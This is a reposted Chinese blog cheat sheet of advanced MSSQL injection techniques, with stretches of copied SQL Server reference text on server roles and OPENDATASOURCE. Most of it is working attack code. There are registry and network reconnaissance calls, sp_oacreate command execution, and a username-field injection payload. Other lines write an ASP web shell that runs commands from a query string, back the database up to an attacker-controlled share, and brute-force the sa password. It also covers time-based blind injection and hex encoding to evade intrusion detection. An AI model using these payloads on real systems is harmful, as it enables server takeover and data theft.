Mssql高级注入笔记II
Mssql高级注入笔记II
发布时间:2016-12-29 来源:查字典编辑
摘要:一些sql扩展xp_regaddmultistringxp_regdeletekey删除键名xp_regdeletevalue删除键值xp_...

一些sql扩展

xp_regaddmultistring

xp_regdeletekey删除键名

xp_regdeletevalue删除键值

xp_regenumkeys枚举

xp_regenumvalues

xp_regread对于

xp_regremovemultistring

xp_regwrite写

xp_availablemedia查看驱动器

xp_dirtree看目录

xp_enumdsnODBC数据源

xp_loginconfig一些服务器安全配置的信息

xp_makecab打包,某些dbo权限先可做大用

xp_ntsec_enumdomains枚举域名相关信息

xp_terminate_process终端进程和ip啦

xp_logininfo当前登录帐号

sp_configure检索数据库中的内容(我觉得这个挺有用的)

sp_helpextendedproc得到所有的存储扩展

sp_who2查询用户,他们登录的主机,他们在数据库中执行的操作等等

一些网络信息

execxp_regreadHKEY_LOCAL_MACHINE,

'SYSTEMCurrentControlSetServiceslanmanserverparameters',

'nullsessionshares'

SNMP辅助网络踩点

execxp_regenumvaluesHKEY_LOCAL_MACHINE,

'SYSTEMCurrentControlSetServicessnmpparametersvalidcomm

unities'

开始一些系统服务,比如telnet,前提希望可以跑来admin或者一些系统密码

execmaster..xp_servicecontrol'start','schedule'

execmaster..xp_servicecontrol'start','server'

Sp_addextendedproc'xp_webserver','c:tempxp_foo.dll'此扩展可以运行程序

使用'bulkinsert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:

createtablefoo(linevarchar(8000))

然后执行bulkinsert操作把文件中的数据插入到表中,如:

bulkinsertfoofrom'c:inetpubwwwrootadmininc.asp'

bcp"select*fromtext..foo"queryoutc:inetpubwwwrootruncommand.asp–c-Slocalhost–Usa–Pfoobar

'S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,这里为'foobar'

SQLSERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情

使用'wscript.shell'对象建立了一个记事本的实例:

declare@oint

execsp_oacreate'wscript.shell',@oout

execsp_oamethod@o,'run',NULL,'notepad.exe'

指定在用户名后面来执行它:

Username:';declare@ointexecsp_oacreate'wscript.shell',@ooutexecsp_oamethod@o,'run',NULL,'notepad.exe'—

使用FSO读一个已知的文本文件:

declare@oint,@fint,@tint,@retint

declare@linevarchar(8000)

execsp_oacreate'scripting.filesystemobject',@oout

execsp_oamethod@o,'opentextfile',@fout,'c:boot.ini',1

exec@ret=sp_oamethod@f,'readline',@lineout

while(@ret=0)

begin

print@line

exec@ret=sp_oamethod@f,'readline',@lineout

end

创建了一个能执行通过提交的命令,默认是asp那组权限的用户下运行,前提是sp_oacreate扩展存在

declare@oint,@fint,@tint,@retint

execsp_oacreate'scripting.filesystemobject',@oout

execsp_oamethod@o,'createtextfile',@fout,

'c:inetpubwwwrootfoo.asp',1

exec@ret=sp_oamethod@f,'writeline',NULL,

'<%seto=server.createobject("wscript.shell"):o.run(

request.querystring("cmd"))%>'

sp_who'1'select*fromsysobjects

针对局域网渗透,备份拖库或者非sa用户

declare@asysname;set@a=db_name();backupdatabase@atodisk=你的IP你的共享目录bak.dat,name=test;--

当前数据库就备份到你的硬盘上了

select*fromopenrowset(sqloledb,myserver;sa;,select*fromtable)回连,默认需要支持多语句查询

添加登录,使其成为固定服务器角色的成员。

语法

sp_addsrvrolemember[@loginame=]'login'

[@rolename=]'role'

参数

[@loginame=]'login'

是添加到固定服务器角色的登录名称。login的数据类型为sysname,没有默认值。login可以是Microsoft?SQLServer?登录或MicrosoftWindowsNT?用户帐户。如果还没有对该WindowsNT登录授予SQLServer访问权限,那么将自动对其授予访问权限。

[@rolename=]'role'

要将登录添加到的固定服务器角色的名称。role的数据类型为sysname,默认值为NULL,它必须是下列值之一:

sysadmin

securityadmin

serveradmin

setupadmin

processadmin

diskadmin

dbcreator

bulkadmin

返回代码值

0(成功)或1(失败)

注释

在将登录添加到固定服务器角色时,该登录就会得到与此固定服务器角色相关的权限。

不能更改sa登录的角色成员资格。

请使用sp_addrolemember将成员添加到固定数据库角色或用户定义的角色。

不能在用户定义的事务内执行sp_addsrvrolemember存储过程。

权限

sysadmin固定服务器的成员可以将成员添加到任何固定服务器角色。固定服务器角色的成员可以执行sp_addsrvrolemember将成员只添加到同一个固定服务器角色。

示例

下面的示例将WindowsNT用户CorporateHelenS添加到sysadmin固定服务器角色中。

EXECsp_addsrvrolemember'CorporateHelenS','sysadmin'

OPENDATASOURCE

不使用链接的服务器名,而提供特殊的连接信息,并将其作为四部分对象名的一部分。

语法

OPENDATASOURCE(provider_name,init_string)

参数

provider_name

注册为用于访问数据源的OLEDB提供程序的PROGID的名称。provider_name的数据类型为char,没有默认值。

init_string

连接字符串,这些字符串将要传递给目标提供程序的IDataInitialize接口。提供程序字符串语法是以关键字值对为基础的,这些关键字值对由分号隔开,例如:"keyword1=value;keyword2=value."

在Microsoft?DataAccessSDK中定义了基本语法。有关所支持的特定关键字值对的信息,请参见提供程序中的文档。下表列出init_string参数中最常用的关键字。

关键字OLEDB属性有效值和描述

数据源DBPROP_INIT_DATASOURCE要连接的数据源的名称。不同的提供程序用不同的方法对此进行解释。对于SQLServerOLEDB提供程序来说,这会指明服务器的名称。对于JetOLEDB提供程序来说,这会指明.mdb文件或.xls文件的完整路径。

位置DBPROP_INIT_LOCATION要连接的数据库的位置。

扩展属性DBPROP_INIT_PROVIDERSTRING提供程序特定的连接字符串。

连接超时DBPROP_INIT_TIMEOUT超时值,在该超时值后,连接尝试将失败。

用户IDDBPROP_AUTH_USERID用于该连接的用户ID。

密码DBPROP_AUTH_PASSWORD用于该连接的密码。

目录DBPROP_INIT_CATALOG连接到数据源时的初始或默认的目录名称。

OPENDATASOURCE函数可以在能够使用链接服务器名的相同Transact-SQL语法位置中使用。因此,就可以将OPENDATASOURCE用作四部分名称的第一部分,该名称指的是SELECT、INSERT、UPDATE或DELETE语句中的表或视图的名称;或者指的是EXECUTE语句中的远程存储过程。当执行远程存储过程时,OPENDATASOURCE应该指的是另一个SQLServer。OPENDATASOURCE不接受参数变量。

与OPENROWSET函数类似,OPENDATASOURCE应该只引用那些不经常访问的OLEDB数据源。对于访问次数稍多的任何数据源,请为它们定义链接的服务器。无论OPENDATASOURCE还是OPENROWSET都不能提供链接的服务器定义的全部功能,例如,安全管理以及查询目录信息的能力。每次调用OPENDATASOURCE时,都必须提供所有的连接信息(包括密码)。

示例

下面的示例访问来自某个表的数据,该表在SQLServer的另一个实例中。

SELECT*

FROMOPENDATASOURCE(

'SQLOLEDB',

'DataSource=ServerName;UserID=MyUID;Password=MyPass'

).Northwind.dbo.Categories

下面是个查询的示例,它通过用于Jet的OLEDB提供程序查询Excel电子表格。

SELECT*

FROMOpenDataSource('Microsoft.Jet.OLEDB.4.0',

'DataSource="c:Financeaccount.xls";UserID=Admin;Password=;Extendedproperties=Excel5.0')...xactions

针对MSDASQL用存储过程建立的sql连接,在blackbox测试中,好象没什么注入区别

declare@usernamenvarchar(4000),@querynvarchar(4000)

declare@pwdnvarchar(4000),@char_setnvarchar(4000)

declare@pwd_lenint,@iint,@cchar

select@char_set=N'abcdefghijklmnopqrstuvwxyz0123456789!_'

select@pwd_len=8

select@username='sa'

while@i<@pwd_lenbegin

--makepwd

(codedeleted)

--tryalogin

select@query=N'select*from

OPENROWSET(''MSDASQL'',''DRIVER={SQLServer};SERVER=;uid='+@username+

N';pwd='+@pwd+N''',''select@@version'')'

execxp_execresultset@query,N'master'

--checkforsuccess

(codedeleted)

--incrementthepassword

(codedeleted)

end

盲注技巧之一,时间延缓(可以加一个循环函数,运行查询时间越久说说明当前字段正确)

if(selectuser)='sa'waitfordelay'0:0:5'

ifexists(select*frompubs..pub_info)waitfordelay'0:0:5'

createtablepubs..tmp_file(is_fileint,is_dirint,has_parentint)

insertintopubs..tmp_fileexecmaster..xp_fileexist'c:boot.ini'

ifexists(select*frompubs..tmp_file)waitfordelay'0:0:5'

if(selectis_filefrompubs..tmp_file)>0waitfordelay'0:0:5'

字符对比

if(ascii(substring(@s,@byte,1))&(power(2,@bit)))>0waitfor

delay'0:0:5'

declare@svarchar(8000)select@s=db_name()if(ascii(substring(@s,

1,1))&(power(2,0)))>0waitfordelay'0:0:5'

declare@svarchar(8000)select@s=db_name()if(ascii(substring(@s,

1,1))&(power(2,1)))>0waitfordelay'0:0:5'

编码的秘密,饶过IDS

declare@qvarchar(8000)

select@q=0x73656c65637420404076657273696f6e

exec(@q)

Thisruns'select@@version',asdoes:

declare@qnvarchar(4000)

select@q=

0x730065006c00650063007400200040004000760065007200730069006f006e00

exec(@q)

Inthestoredprocedureexampleabovewesawhowa'sysname'parametercancontain

multipleSQLstatementswithouttheuseofsinglequotesorsemicolons:

sp_msdropretry[foodroptablelogsselect*fromsysobjects],[bar]

嘻嘻,不知道这次被转走以后会不会看到偶的名字呢?~要有的话,就把高级注入笔记I也发出来

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新ASP教程学习
热门ASP教程学习
编程开发子分类